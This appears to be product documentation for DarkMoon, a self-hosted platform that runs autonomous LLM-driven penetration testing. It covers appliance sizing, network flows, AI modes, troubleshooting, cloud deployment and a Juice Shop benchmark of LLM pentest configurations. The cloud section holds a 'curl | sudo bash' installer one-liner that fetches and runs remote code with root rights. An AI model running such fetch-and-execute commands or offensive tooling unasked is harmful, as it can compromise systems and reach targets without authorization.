A DarkMoon Appliance is a validated self-hosted deployment specification, not a product you receive in a box. You take your own Linux machine and turn it into a dedicated DarkMoon node. There is no OVA, no ISO and no custom operating system to flash: the appliance is the combination of

  • the packaged Docker images (the opencode core and the darkmoon scanner) pulled from the registry;
  • the install.sh installer that builds and wires the stack (no need to hand-edit docker-compose.yml);
  • the DarkMoon Doctor diagnostic & repair CLI that validates the host and the running stack;
  • this documentation, which defines the supported hardware, network and AI configurations.

What a DarkMoon Appliance is not:

  • Not proprietary hardware. DarkMoon ships no appliance box, server or dongle. You provide the machine.
  • Not a VM image. There is no downloadable virtual-machine image or custom OS. You install onto an OS you already run.

Who it is for

The appliance model is for teams that need offensive-security automation to run inside infrastructure they control — security teams, MSSPs and consultancies running authorized engagements, and product teams embedding continuous testing in their own environment. If your priority is that assessment data and target traffic never leave your perimeter, this is the deployment shape for you.

Who provides what

You provide the machine and the platform it sits on; DarkMoon provides the software that runs on it. You bring a Linux host (bare metal or a VM), keep it patched and networked; DarkMoon brings the images, the installer, the Doctor and the lifecycle tooling. The full split is in the responsibility matrix.

How it is installed

Installation is scripted. You run install.sh; it pulls the two images, generates and wires docker-compose.yml, brings the stack up and (for Pro) registers the license. You do not hand-assemble the compose file. The step-by-step path is in Getting Started, with host prerequisites in Requirements & Prerequisites.

Where to size and plan the network

Two questions decide the host: how big? and what may it reach? Size the machine with Sizing (and the methodology behind those numbers), and hand your firewall team the flow matrix in Network Requirements.

Information:
Single-node model. The product today is a single-node appliance: one machine runs the full stack. There is no multi-node fleet, clustering or horizontal scale-out in the product. You scale up (a bigger node), not out.

Architecture

A DarkMoon node is a single-node, two-container stack running on Docker. One container is the opencode core: it serves the web UI on port 80 (server-sent events included) and runs an internal FastAPI service bound to 127.0.0.1:8000 — loopback only, never published off the host. The other is the darkmoon scanner, which runs with network_mode: host so its offensive tooling reaches authorized targets directly, without a NAT layer in the way.

Your server   (hardware or VM — you provide it)
  └─ Linux host OS
       └─ Docker Engine + Docker Compose v2
            └─ DarkMoon
                 ├─ opencode core     →  :80  web UI + SSE
                 │     └─ FastAPI      →  127.0.0.1:8000  (loopback only)
                 └─ darkmoon scanner   →  network_mode: host

       =  one DarkMoon Appliance  (a single DarkMoon Node)

A DarkMoon Node is one execution point: one host, one stack, operated on its own. There is no central-managed fleet in the product today — nodes are not enrolled into a controller and there is no cross-node console. If you run several nodes, you run and update each of them independently.

Responsibility: customer vs DarkMoon

The appliance is self-hosted, so the boundary of responsibility matters. In short: you own the machine and the platform, DarkMoon owns the software and its lifecycle.

Customer controls DarkMoon provides
  • Physical hardware
  • VM / hypervisor, if any
  • Host operating system
  • Host security (patching, access, hardening)
  • Network (connectivity, firewalling, DNS/NTP)
  • Power
  • Hardware replacement
  • Hardware warranty
  • DarkMoon software
  • Packaged deployment
  • Docker images
  • Installation tooling (install.sh)
  • DarkMoon Doctor
  • Application lifecycle
  • Updates
  • Compatibility documentation
  • Reference sizing
  • Software support

Getting Started (Appliance)

Bringing up a node follows a fixed path: understand the shape, pick the hardware, confirm the host can run it, open the flows, install, wire the AI, verify, then operate. Do the eight steps in order — each links to the reference subsection that covers it in depth.

  1. Choose your architecture. Confirm the single-node, two-container model fits your plan (one host, scale up not out). See Architecture.
  2. Choose your appliance profile. Match your workload to one of the five reference profiles. See Sizing.
  3. Check prerequisites. Verify the host meets the Linux, Docker and resource floors before you install. See Requirements & Prerequisites.
  4. Prepare network flows. Open the inbound UI port, the outbound registry/license flows and, for Connected/Private modes, egress to the model. See Network Requirements.
  5. Install DarkMoon. Run install.sh; it pulls the images, wires the stack and brings it up. See §II. Installation and Installation Pro.
  6. Configure AI. Select Connected, Private or Local inference for the node. See AI Deployment Modes.
  7. Run DarkMoon Doctor. Validate host and stack, and let it repair the safe problem classes. See DarkMoon Doctor.
  8. Operate DarkMoon. Keep it current and healthy with darkmoon update / darkmoon repair, and use the Doctor-first flow when something breaks. See Updating & Repair and Troubleshooting.

Requirements & Prerequisites

This is the “can we run it at all?” checkpoint, deliberately separate from Sizing (which answers “how big?”). Before you install, confirm the host clears every floor below. darkmoon doctor re-checks all of these at install time and afterwards.

Host prerequisites

Operating system
a current 64-bit Linux host (bare metal or VM).
Docker Engine
installed and running, with the daemon reachable by the installer.
Docker Compose v2
the docker compose plugin (v2), not the legacy docker-compose script.
Architecture
amd64 is validated; arm64 is experimental.

Resource floors

RAM
Doctor warns below 4 GB and recommends 8 GB or more. Treat 8 GB as the practical minimum.
Disk
the base images occupy roughly 25 GB on disk before any evidence or campaign data; provision well above that (see the per-profile disk figures in Sizing).
Free space headroom
Doctor warns once the disk reaches 90% used; keep comfortable headroom for pulls and backups.
Information:
Meeting these floors means the node will run. It does not mean it will run your workload comfortably — for that, size the machine in Sizing.

Sizing

DarkMoon resource requirements depend on workload. There is no single “recommended spec”: a single low-parallelism campaign against a handful of hosts is a very different load from sustained high-concurrency campaigns with long evidence retention. Size for the workload you actually run, and treat the figures as estimates with margin rather than hard floors.

The factors that move the numbers:

Assets
how many targets are in scope per campaign.
Agents
how many autonomous agents are active.
Parallelism
concurrent tool executions running at once.
Campaign complexity
depth of the attack path and number of phases.
Retention
how much evidence and campaign history you keep.

Find the row whose typical workload matches yours, then read across to the hardware. The last two columns tell you the CPU architecture and which AI deployment modes the profile supports.

Profile Typical workload vCPU RAM Disk Arch GPU Modes
Minimum Single low-parallelism campaign, few assets 2 vCPU 8 GB 40 GB SSD amd64 none Connected | Private
Standard One campaign, normal agent parallelism 4 vCPU 16 GB 80 GB SSD amd64 none Connected | Private
Performance High concurrency / larger multi-asset campaigns 8 vCPU 32 GB 160 GB NVMe amd64 none Connected | Private
Industrial Sustained on-site / edge node, long retention 8–16 vCPU 32–64 GB 250 GB+ NVMe amd64 (arm64 experimental) none Any
Local AI Sovereign, on-node inference 8+ vCPU 16–32 GB + model floor (7B +8 GB, 13B +16 GB, 33B +32 GB) 160 GB+ NVMe amd64 optional (local inference only) Local
Important:
Assumptions. Figures assume one active campaign per node at a time, evidence retained on the node’s own disk, base images occupying roughly 25 GB before data, and inference running off the node for every profile except Local AI (whose RAM adds a model floor on top of the base, and whose GPU is optional and used only for local inference). They are sizing estimates carrying a safety margin, not hard minimums.

Want to know how these numbers were reached? See Sizing Methodology.

Sizing Methodology

No new workload was executed for this sizing study. Recommendations are based on existing DarkMoon data, historical benchmark results, static architecture analysis, official component specifications and documented engineering assumptions. This section states exactly how much confidence each figure carries.

Every number in Sizing falls into one of four categories:

Observed
measured directly from existing DarkMoon data and historical benchmark runs. Highest confidence.
Derived
calculated from observed data and the static architecture (for example, base image footprint on disk, or memory from the two-container layout).
Estimated
extrapolated to workloads not directly measured, using the factors in Sizing (assets, agents, parallelism, complexity, retention).
Recommended
the published profile figure: an estimated need rounded up and padded so a node is not sized to the ragged edge.

Safety margin. Recommended figures deliberately sit above the estimated need so that transient spikes — a burst of concurrent tool executions, a larger-than-usual campaign — do not push a correctly sized node into swap or a full disk. Prefer moving up a profile over trimming the margin.

Information:
For the full derivation — per-figure category, the component specs used, and the reasoning behind each number — see the appliance sizing study of the Pro documentation.

Network Requirements

The table below is the complete flow matrix for a DarkMoon node. It is meant to be handed straight to a firewall team: source, destination, direction, protocol, port, purpose, the AI mode the flow belongs to, and whether it is required. Directions are from the node’s point of view (IN = inbound to the node, OUT = outbound from the node, LOCAL = loopback on the node only). The Mode column reads all for flows that apply regardless of AI mode, or names the single mode a conditional flow belongs to.

Source Destination Direction Protocol Port Purpose Mode Required
Operator browser Node dashboard IN TCP 80 (DARKMOON_UI_PORT) Web UI + SSE all yes
Scanner Customer targets OUT TCP/UDP scan-dependent Offensive tooling to authorized targets all yes
Core LLM provider OUT HTTPS 443 Model calls via Privacy Gateway Connected conditional
Core Customer LLM endpoint OUT HTTPS 443 / custom Model calls Private conditional
Core On-node inference LOCAL TCP 127.0.0.1:<port> Local inference, no LLM egress Local conditional
Node Docker registry OUT HTTPS 443 Image pulls at install/update all yes at install/update
Core Licensing (Cryptolens) OUT HTTPS 443 License validation (offline cache 24h) all yes (Pro), cache-tolerant
Core Docker Hub (manifest) OUT HTTPS 443 update-status badge all optional
Scanner Kubernetes API (customer) OUT HTTPS 6443 (typical) Only when k8s agent runs all optional
Node DNS / NTP OUT UDP 53 / 123 Resolution / clock all recommended
Information:
The three conditional LLM flows are mutually exclusive per node: exactly one applies depending on the AI deployment mode you choose in AI Deployment Modes.

AI Deployment Modes

The AI backend is selected per node. It decides which of the conditional network flows above applies, whether the node needs internet egress to a model, and whether a GPU is ever useful. The three modes compare as follows.

Connected Private Local
Where DarkMoon runs On your node On your node On your node
Where inference runs Hosted LLM provider (off node) Customer-operated LLM endpoint (off node, your infra) On the node itself (loopback)
Privacy Gateway Yes (data-minimization before egress) Yes (data-minimization before egress) No LLM egress to minimize
Internet requirement Required — outbound 443 to the provider Not to a public provider; reach your endpoint Not for inference (still for install / update / license)
GPU requirement None (inference is off node) None (inference is on your endpoint) Optional — local inference only
Recommended profile Minimum / Standard / Performance Standard / Performance / Industrial Local AI
Warning:
Air-gapped: not currently validated. A fully air-gapped deployment (no egress whatsoever, including no registry, licensing or NTP at any point) is not a validated configuration today. Local mode removes LLM egress, but install/update still needs registry access and Pro still needs periodic license validation (cache-tolerant for 24h).
Information:
Two things people conflate. The Privacy Gateway is data-minimization, not offline: it strips and tokenizes sensitive data before it reaches the model, but Connected mode still sends (minimized) traffic to the provider. And a GPU is only useful for LOCAL inference; Connected and Private modes do their inference off the node, so they never need one.

DarkMoon Doctor

DarkMoon Doctor is the first troubleshooting reflex. The flow it enforces is problem → darkmoon doctor → diagnosis → safe automatic fix, or a documented action. Before reading logs, restarting containers by hand or opening a ticket, run it: it inspects the host and the running stack, tells you exactly what is wrong, and (with --fix) repairs the safe classes of problem for you.

Terminal
darkmoon doctor          # diagnose host + stack (report only)
darkmoon doctor --fix    # also auto-repair the safe problem classes
darkmoon doctor --yes    # non-interactive (assume yes to prompts)

Related sibling commands:

Terminal
darkmoon restart         # restart the stack
darkmoon update          # backup, pull, up, health-check, rollback on failure
darkmoon repair          # force-recreate the stack (data kept)
darkmoon repair --full   # down, pull, re-run install.sh reusing license/config

What Doctor checks

Runtime
Docker daemon present and reachable.
Compose
Docker Compose v2 available, and the compose file present.
Containers
both the opencode core and the darkmoon scanner present, running and healthy; detects absent, restart-loop and unhealthy states, and greps logs for known fatal strings.
Images
version drift, local vs remote digest.
License
key present and free of activation errors.
AI provider
API key present, plus a TCP probe of the configured base URL.
Privacy Gateway
the unix socket is present.
Ports
the UI port is available (not already bound elsewhere).
Disk
warn at ≥90% used.
Memory
warn under 4000 MB; 8 GB+ recommended.
GPU
NVIDIA stack checked only when the GPU profile is requested.

Example output

Terminal
$ darkmoon doctor

DarkMoon Doctor
  Runtime          Docker daemon reachable                     OK
  Compose          Docker Compose v2 detected                  OK
  Containers       opencode core   running / healthy           OK
                   darkmoon scanner running / healthy          OK
  Images           local digest matches remote                 OK
  License          key present, no activation error            OK
  AI provider      key set, base URL reachable (TCP)           OK
  Privacy Gateway  unix socket present                         OK
  Ports            UI port 80 bound to core                    OK
  Disk             38% used                                     OK
  Memory           15.6 GB available                            OK
  GPU              not requested (profile has no GPU)          SKIP

Summary: 11 checks — 11 OK, 0 warnings, 0 errors.

What Doctor repairs

Auto-fix runs only with --fix, and it backs up config first:

  • Restart-loop container → pull + up.
  • Stopped container → up.
  • Unhealthy container → restart.

Everything else is report-only — version drift, license, AI provider, Privacy Gateway, ports, disk/memory and GPU are diagnosed and explained but not changed automatically, because the fix is a decision (update, re-license, edit config) rather than a mechanical restart.

Updating & Repair

Keeping a node current and recovering a broken one are both single commands. darkmoon update moves the node forward; darkmoon repair and darkmoon repair --full rebuild it when something is wrong. All three keep your data: the sealed data volume is never touched, and backups cover config only.

Updating

darkmoon update is transactional: it takes a backup, pulls the new images, brings the stack up, waits for health, and rolls back on failure so a bad pull cannot leave you with a broken node.

Terminal
darkmoon update
# 1. backup      — snapshot the current config
# 2. compose pull
# 3. compose up  — recreate with the new images
# 4. wait-healthy
# 5. rollback    — automatically, if health does not come back
  • Images declare pull_policy: always, so an up always fetches the current tag rather than reusing a stale local layer.
  • Backups never include the sealed data volume — they cover config only, so evidence and campaign data are never copied around during an update.
  • Check whether an update is even available first with darkmoon doctor (image version drift) or the dashboard “update available” badge (/system/update-status).

Repair

darkmoon repair
force-recreates the stack from the current config. Use it when containers are wedged but the config is sound. Data is kept.
darkmoon repair --full
takes the stack down, pulls fresh images, and re-runs install.sh, reusing the existing license and config. Use it when a plain repair is not enough or the config has drifted. Data is kept.
Important:
repair and repair --full keep your data: the sealed data volume is never touched by a repair, and backups never include it. repair --full reuses the existing license and config when it re-runs install.sh.

Troubleshooting

The workflow is always the same: problem → darkmoon doctor → diagnosis → repair or documented action. Run Doctor first; it usually names the exact cause. The table maps the common symptoms to what Doctor reports and the resolving action.

Problem Run Diagnosis Repair / documented action
Dashboard will not load darkmoon doctor UI port already bound, or the core container is down/unhealthy Free the port (or change DARKMOON_UI_PORT); darkmoon doctor --fix to restart the core
A container keeps restarting darkmoon doctor Restart-loop detected (fatal string grepped from logs) darkmoon doctor --fix (pull + up); if it persists, darkmoon repair --full
A container is stopped / unhealthy darkmoon doctor Stopped → needs up; unhealthy → needs restart darkmoon doctor --fix brings it up / restarts it
“Update available” / stale build darkmoon doctor Image version drift (local vs remote digest) darkmoon update (backup → pull → up → health-check, rollback on failure)
Agents fail / no model responses darkmoon doctor AI provider: missing API key, or the base-URL TCP probe fails Set the provider key / fix egress to the endpoint (see AI Deployment Modes)
License / activation error darkmoon doctor License key absent or activation error (offline cache tolerated 24h) Restore the key / re-activate; darkmoon repair --full reuses the existing license/config
Privacy Gateway errors darkmoon doctor Privacy Gateway unix socket missing darkmoon restart / darkmoon repair (force-recreate, data kept)
Node running out of space / RAM darkmoon doctor Disk ≥90% used, or RAM under the warn floor (4000 MB; 8 GB+ recommended) Free space / add RAM, or move up a sizing profile
GPU not detected (Local AI) darkmoon doctor GPU/NVIDIA check fails when the GPU profile is requested Fix the GPU stack (see GPU Troubleshooting); GPU is only needed for LOCAL inference
Stack corrupted / nothing else works darkmoon doctor Multiple failures, config drift darkmoon repair (force-recreate, data kept), then darkmoon repair --full (down → pull → re-run install.sh)
Important:
repair and repair --full keep your data: the sealed data volume is never touched by a repair, and backups never include it. repair --full reuses the existing license and config when it re-runs install.sh.

Cloud deployment · 18/22

Cloud deployment

A question customers ask often: “do you sell hardware boxes?” The answer is no.

  • 9 sections
  • 10 min read

A question customers ask often: “do you sell hardware boxes?” The answer is no. DarkMoon Pro is software-defined and self-hosted: you bring the machine and turn it into a dedicated DarkMoon node. The same deployment runs on any cloud (AWS, GCP, Azure, OVH) or on bare metal, with one command — no proprietary appliance, no vendor SDK and no cloud-marketplace listing required. One mechanism works everywhere; there is no per-cloud fork. This section mirrors the Deployment / Appliance model for cloud VMs.

Overview — three paths, all free, all cloud-agnostic

All three paths converge on the same install.sh and produce the same single-node appliance described in § Deployment / Appliance. They differ only in where you start from:

One command
on any Linux VM / bare-metal host you already have, paste one line over SSH.
One click from the cloud console
paste a startup script into the VM-launch wizard (cloud-init / user-data). On first boot the VM becomes a DarkMoon node.
One command from your laptop or CloudShell
per-cloud Terraform modules create the VM, the firewall/security-group and inject the user-data.
Information:
Same node everywhere. There is no OVA, no ISO, no custom OS and no marketplace image. The node is the packaged Docker images installed by install.sh onto a stock Linux you already run. Use amd64 instances — arm64 is experimental and not recommended for production.

Easy guide (easy-read)

Short sentences, simple words — the fully automated one-command path, for non-technical users.

Information:
You need three things: your DarkMoon license key (from the client portal), your LLM API key, and a cloud account (AWS, GCP, Azure or OVH).
  1. Open your cloud's CloudShell (the terminal button in the console — already signed in, nothing to install).
  2. Paste one command: client portal → the “Deploy to cloud” card → option ① Fully automated → Copy. Paste it, replace <YOUR_LLM_API_KEY> with your AI key (change aws to gcp/azure/ovh if needed), then press Enter.
  3. Wait ~3 min: the machine is created, the port opens and DarkMoon installs itself. The address appears on screen.
  4. Open DarkMoon: paste the address into your browser. It's ready.
Information:
It happens on its own: create the machine, open port 80, install Docker and DarkMoon. No VM to create by hand, no SSH. The only thing you do is be signed in to your cloud account (CloudShell already is) — DarkMoon never holds your cloud keys.

Something wrong? On the machine, run darkmoon doctor. Full easy-read guide: easy guide.

One command

On a fresh Linux VM or bare-metal host with outbound HTTPS, one line turns it into a DarkMoon node:

Terminal
curl -fsSL https://portal.dark-moon.org/cloud | sudo DARKMOON_LICENSE_KEY=<KEY> bash -s -- \
  --provider anthropic --model claude-opus-4-6 --api-key sk-ant-...

The installer (cloud-install.sh) runs three steps in order:

  1. installs Docker Engine + Compose v2 (official get.docker.com);
  2. fetches and runs install.sh non-interactively (Pro license required);
  3. runs darkmoon doctor to verify the node is healthy.

install.sh requires the Pro license (via DARKMOON_LICENSE_KEY or as the first positional argument) and one AI backend. Everything after bash -s -- is passed straight through:

Terminal
# Connected  — hosted provider (via the Privacy Gateway)
--provider anthropic --model claude-opus-4-6 --api-key sk-ant-...

# Private    — a customer LLM endpoint (native anthropic path)
--anthropic-url https://llm.internal.example.com --anthropic-model claude-opus-4-6 --anthropic-key <KEY>

# Local      — on-node inference, no LLM egress
--local --local-engine ollama --local-url http://127.0.0.1:11434 --local-model <model-id>

The three AI backends map to the modes in AI Deployment Modes. Pick an instance size from the table below.

Profiles → instance size

DarkMoon is a single-node appliance: scale up (a bigger instance), not out. Pick the profile that matches your workload and map it to your cloud’s instance type. All entries are amd64.

Profile vCPU / RAM AWS GCP Azure OVH
Minimum 2 / 8 t3.large e2-standard-2 Standard_B2ms b2-15
Standard 4 / 16 t3.xlarge e2-standard-4 Standard_D4s_v5 b2-30
Performance 8 / 32 t3.2xlarge e2-standard-8 Standard_D8s_v5 b2-60
Industrial 16 / 64 m6i.4xlarge e2-standard-16 Standard_D16s_v5 b2-120
Information:
Local AI adds memory. A GPU is only for Local inference; Connected and Private do inference off the node and never need one. For Local mode, add memory per model on top of the base profile: 7B +8 GB, 13B +16 GB, 33B +32 GB.

Network flows to open

The guiding rule: one inbound port (the dashboard) plus outbound HTTPS. Directions are from the node’s point of view. For the exhaustive matrix see Network Requirements.

Flow Proto / Port Direction Required
Operator browser → dashboard TCP ui_port (default 80) IN yes
Operator → SSH (management) TCP 22 IN optional
Node → Docker Hub (image pulls) TCP 443 OUT at install/update
Node → license validation TCP 443 OUT yes (Pro), cache-tolerant
Core → LLM provider (Connected) TCP 443 OUT conditional
Scanner → authorized targets any the scan needs OUT yes (to run scans)
Node → DNS / NTP UDP 53 / UDP 123 OUT recommended
Information:
No inbound port other than the dashboard (and optional SSH 22). In Local mode no LLM traffic leaves the node; you still need outbound 443 at install/update for image pulls and license validation. The three LLM flows are mutually exclusive — exactly one applies per the AI mode you chose.

AWS

Pick an amd64 EC2 type from the table (e.g. t3.xlarge for Standard).

Console (one click)
at launch, expand Advanced details → User data and paste the startup script (deploy/cloud-init/darkmoon-user-data.sh). Set a Security Group with inbound TCP 80 from your trusted CIDR (optionally 22) and outbound 443.
Terraform
deploy/terraform/aws/ creates the instance, the security group and injects the user-data: terraform init && terraform apply -var license_key=... -var ai_api_key=....
CloudShell
AWS CloudShell (browser, free) has the CLI and credentials; run the same Terraform there.
Important:
Fetch the license and API key from SSM Parameter Store or Secrets Manager at boot via a least-privilege instance role. Never inline them in user-data — see Security & secrets.

GCP

Pick an amd64 machine type from the table (e.g. e2-standard-4 for Standard).

Console (one click)
open Automation → Startup script (the startup-script metadata key) and paste the script. Add a VPC firewall rule (with a network tag) for inbound TCP 80 from your trusted range; egress 443 is open by default unless locked down.
Terraform
deploy/terraform/gcp/ creates the instance, the firewall rule and injects the startup-script metadata: terraform init && terraform apply -var license_key=... -var ai_api_key=....
CloudShell
Google Cloud Shell (browser, free) ships gcloud and Terraform; run the same commands there.
Important:
Fetch secrets from Secret Manager at boot via a service account with roles/secretmanager.secretAccessor on exactly those secrets — see Security & secrets.

Azure

Pick an amd64 VM size from the table (e.g. Standard_D4s_v5 for Standard).

Console (one click)
on the Advanced tab set Custom data to the startup script (cloud-init runs it on first boot). Add an NSG with inbound TCP 80 from your trusted CIDR (optionally 22) and outbound 443.
Terraform
deploy/terraform/azure/ creates the VM, the NSG and injects the custom-data: terraform init && terraform apply -var license_key=... -var ai_api_key=....
CloudShell
Azure Cloud Shell (browser, free) ships the Azure CLI and Terraform; run the same commands there.
Important:
Fetch secrets from Key Vault at boot via the VM’s system-assigned managed identity (granted get on the secrets) — see Security & secrets.

OVH

Pick an amd64 flavor from the table (e.g. b2-30 for Standard).

Console (one click)
provide the startup script as the cloud-init user_data at instance creation. Add security group / network rules for inbound TCP 80 from your trusted CIDR (optionally 22) and outbound 443.
Terraform
deploy/terraform/ovh/ (OVH exposes an OpenStack-compatible API) creates the instance, the network rules and injects the cloud-init user_data: terraform init && terraform apply -var license_key=... -var ai_api_key=....
Browser shell
OVH has no first-party CloudShell; run the same Terraform from any machine with Terraform and your OVH credentials.
Warning:
OVH Public Cloud has no first-party managed secret store. Do not inline the license/API key in user_data (it is readable from instance metadata): use an open-source secrets manager you control, a secret store in another cloud reached over 443, or provision the keys out-of-band by running the one-liner interactively over SSH. See Security & secrets.

Security & secrets

Warning:
Never inline the license key or the API key in user-data. User-data / custom-data / startup-scripts are readable from the instance metadata service and from the cloud console. A key pasted there is a key leaked. Fetch secrets at boot from the cloud secret manager instead.
  • Use the cloud secret manager. AWS SSM Parameter Store / Secrets Manager, GCP Secret Manager, Azure Key Vault — grant the VM an identity that can read exactly the DarkMoon secrets, and fetch them in the startup script just before invoking the installer. Fail the script if the fetch returns empty rather than calling install.sh with a blank value.
  • Dedicated host. DarkMoon executes offensive tooling; run it on a machine that does nothing else.
  • Restrict the dashboard. Limit the ui_port (default 80) to trusted CIDRs; do not expose it to the whole internet.
  • TLS in front. If the dashboard is reachable beyond a trusted network, terminate TLS in front of it (a reverse proxy / load balancer with a certificate). The node speaks HTTP on ui_port.
  • Patch the host. Keep the OS and Docker patched; use darkmoon update for the DarkMoon stack itself.
  • Don’t echo secrets into logs. Avoid set -x around the license/API-key lines and prefer environment variables over positional arguments.
Important:
License slots. Pro is licensed (Cryptolens + runtime guard) with device/machine slots; each fresh VM consumes a slot via its machine-code fingerprint. Re-provisioning many ephemeral VMs can exhaust slots. Slots are managed in the license dashboard; the license supports floating activation (slots can be reclaimed and re-issued) and an offline validation cache (cache-tolerant) for brief licensing-endpoint outages. Prefer long-lived nodes and release slots on teardown.

Doctor & troubleshooting

After boot, and whenever anything looks wrong, run darkmoon doctor first. It verifies the runtime, both containers, images, license, AI provider, Privacy Gateway, ports, disk and memory, and names the exact cause. Operate the node through the darkmoon CLI (doctor, update, repair) — SaaS-like operations, self-hosted control — not the raw containers. See DarkMoon Doctor and Updating & Repair.

Cloud-provisioning edge cases you may hit before or around Doctor:

Symptom Likely cause Fix (doctor-first)
install.sh aborts: “license required” No DARKMOON_LICENSE_KEY (Pro will not install without it) Pass the key via env var or first arg; if fetched from a secret manager, confirm the fetch returned a value
Activation fails: device limit reached All device slots for the license are in use — a previous activation (or a floating lease) still holds the slot Free a slot yourself: in the client portal open Devices & activation slots and release the old machine code (it is shown in the activation error, and by darkmoon doctor), then re-run activation. Floating slots also free themselves within ~1 hour
Images won’t pull / exec format error An arm64 instance was launched (experimental) Recreate on an amd64 instance type (all types in the table are amd64)
One-liner fails at the Docker step No egress to get.docker.com, or an unsupported distro Confirm outbound 443; use a supported Linux; a pre-installed Docker is detected
Dashboard unreachable Security group / firewall has no inbound rule for ui_port (80) Open TCP 80 to your trusted CIDR; darkmoon doctor for a bound/unhealthy core
Install hangs pulling images / validating license No outbound egress (locked-down VPC, no NAT/gateway) Provide outbound 443 to Docker Hub + licensing; fully air-gapped is not validated
Agents run but get no model responses LLM provider unreachable: missing key or no egress Fix the key / open egress to the endpoint (see AI Deployment Modes)
User-data “did nothing” on first boot Pasted in the wrong console field, or the image ships no cloud-init Use the correct field (EC2 User data / GCP Startup script / Azure Custom data / OVH cloud-init user_data); use a cloud-init image; check the boot log
Boot-time secret fetch failed (empty key) VM identity can’t read the secret, wrong name, or wrong region Grant least-privilege read on the exact secret; verify name/region; fail the script on an empty fetch
Information:
Self-service: free an activation slot. DarkMoon Pro is licensed per device (Cryptolens). When activation reports device limit reached, you do not need to email support: open the client portal, go to Devices & activation slots, and release the old machine code (the one shown in your activation error, also printed by darkmoon doctor); then re-run activation on the new machine. The guard uses floating activation, so a busy slot is also released automatically within about an hour. Only you can manage your own key — the portal acts solely on the license tied to your account.

On teardown, run darkmoon deactivate on a node before you destroy it to free its slot immediately (with Terraform on AWS / GCP / Azure / OVH, set release_slot_on_destroy = true); otherwise the floating slot frees itself within ~1 hour.

Research · 19/22

Benchmarks

Open benchmark records of autonomous AI penetration testing, with the data, the method and the limits next to each number.

  • 3 sections
  • 2 min read

Darkmoon-Benchmarks is where the Darkmoon team publishes the measurements behind its claims. It holds two kinds of records that use different methods and must not be compared with each other:

RecordWhat is counted
LLM pentest study llm-pentest-juice-shop-2026OWASP Juice Shop challenges marked solved by the application, weighted by difficulty stars, for 16 tool × LLM configurations (21 runs, July to October 2026)
Darkmoon multi-surface leaderboardFindings reported by Darkmoon on named public labs (web, cloud, infrastructure, IoT), after manual review
Information: Operator disclosure
Every run was executed by the Darkmoon team (ASC-IT), which develops Darkmoon. None of it is an independent evaluation. The conditions, the data and the scripts are published so that others can check, contest or replicate the numbers.

LLM pentest study on OWASP Juice Shop (2026)

Question. On one public vulnerable web application, tested black-box through a logging proxy, how many built-in challenges does an LLM-driven pentest configuration solve, how does that depend on difficulty, and how stable is it across repeated runs?

Scope. 21 runs of 16 configurations. A configuration is a tool × model label pair. Only C01 records its tool (the Darkmoon open-source CLI at commit 130f6de, model claude-sonnet-4-6); the tool of C02 to C16 is not recorded, so their results are not attributed to Darkmoon or to any other tool.

Verified results (recomputed from the dataset, checked in CI)

  • The best valid runs solved 16 challenges and about 11 % of the catalogue's difficulty points (C01: 43 points; C12: 42 points). With one or two runs per configuration, configurations are not ranked.
  • The solve rate falls with difficulty: 13.5 % at 1 star, 3.5 % at 4 stars, 0.3 % at 5 stars and 0 % at 6 stars.
  • Repeated runs of the same configuration solve different challenges (Jaccard 0.00 to 0.60): single-run rankings are unstable.
  • Points track the active traffic window (Spearman rho 0.85), but run length was the operator's decision: a confound, not a causal effect.
  • Tokens and cost were metered for one run only (C01: USD 17.44).

Scoring and reproduction

Points = the sum of the Juice Shop difficulty stars (1 to 6) of the challenges the application marks as solved during the run, excluding those already solved at launch. Stars are an author-assigned difficulty, not a severity, and there is no false-positive or report-quality axis. Every stored score is recomputed from the published rows:

Terminal
git clone https://github.com/ASCIT31/Darkmoon-Benchmarks.git
cd Darkmoon-Benchmarks/studies/llm-pentest-juice-shop-2026
python3 scripts/validate_results.py           # ids, duplicates, score recomputation, aggregates, links
python3 scripts/generate_tables.py --check    # Markdown tables equal the data
python3 diagrams/src/build_figures.py --check # figure sources equal the data

The analysis is reproducible; the experiments, as recorded, are not (unknown tools for C02 to C16, unpinned target digest, prompts and hardware not recorded).

Limitations

  • Operator-run by the Darkmoon team, not independent; Darkmoon is one of the configurations.
  • Tool not recorded for 15 of 16 configurations; results describe tool × model pairs, never a model alone.
  • One or two valid runs per configuration; no significance testing.
  • Earlier runs were deleted before the backups (selection risk); no time budget; one target only.

Full list, dataset (CC BY 4.0) and per-configuration pages: Darkmoon-Benchmarks.

Research · 20/22

Scientific references

The public research record behind Darkmoon: research repositories, benchmarks, the article series and reference pages.

  • 3 sections
  • 2 min read

Research repositories

RepositoryWhat you will find
darkmoon-attack-paths-researchHow Darkmoon links findings into attack paths: the history of approaches, architecture D, the evidence model, the experiments and the negative results. Every statement is labelled by its evidence (verified, observed, simulated, hypothesis, superseded, unknown).
darkmoon-visualization-researchHow Darkmoon shows results to people: the Pro dashboard, attack-path graphs (2D, map, 3D orbital), the executive views and the Terminal Explorer, with before/after captures and the measures that exist.
Darkmoon-BenchmarksThe LLM pentest study on OWASP Juice Shop (methodology, scoring, limitations, per-configuration results) and individual runs (Benchmarks).

The research repositories are licensed under the GNU AGPL-3.0 and provide a CITATION.cff file to cite them. Darkmoon Pro is proprietary: the research repositories cite it without linking private code.

Research article series

23 articles published on 2026-11-20 on the Darkmoon blog, grouped in five series. Index: dark-moon.org/blog — research series.

A. Architecture and attack paths

B. Data visualisation and UX

C. OpenCode and the terminal

D. Open source and licence

E. Website and recognition

Reference pages in the Community repository

PageContent
docs/full.mdFull documentation of the Community edition
docs/cyber-score-methodology.mdCyber Score v1: status, coverage floors, formula, reference values, limitations
docs/maintenance-windows.mdMaintenance policy file and behaviour at launch
docs/security-events.mdSecurity event names on the darkmoon.audit logger
docs/logging-findings-guideline.mdHow findings and evidence are logged
docs/mcp.mdThe MCP server and its tools
docs/security-threat-model.mdThreat model

Community · 21/22

IX. Contributing

If you want to contribute to the project, you can access the coding guideline at CONTRIBUTING.md.

  • 1 min read

Community · 22/22

X. License

Code licensed under GNU AGPL v3. Earlier releases remain under the GNU GPL v3, see LICENSING.md.

  • 1 min read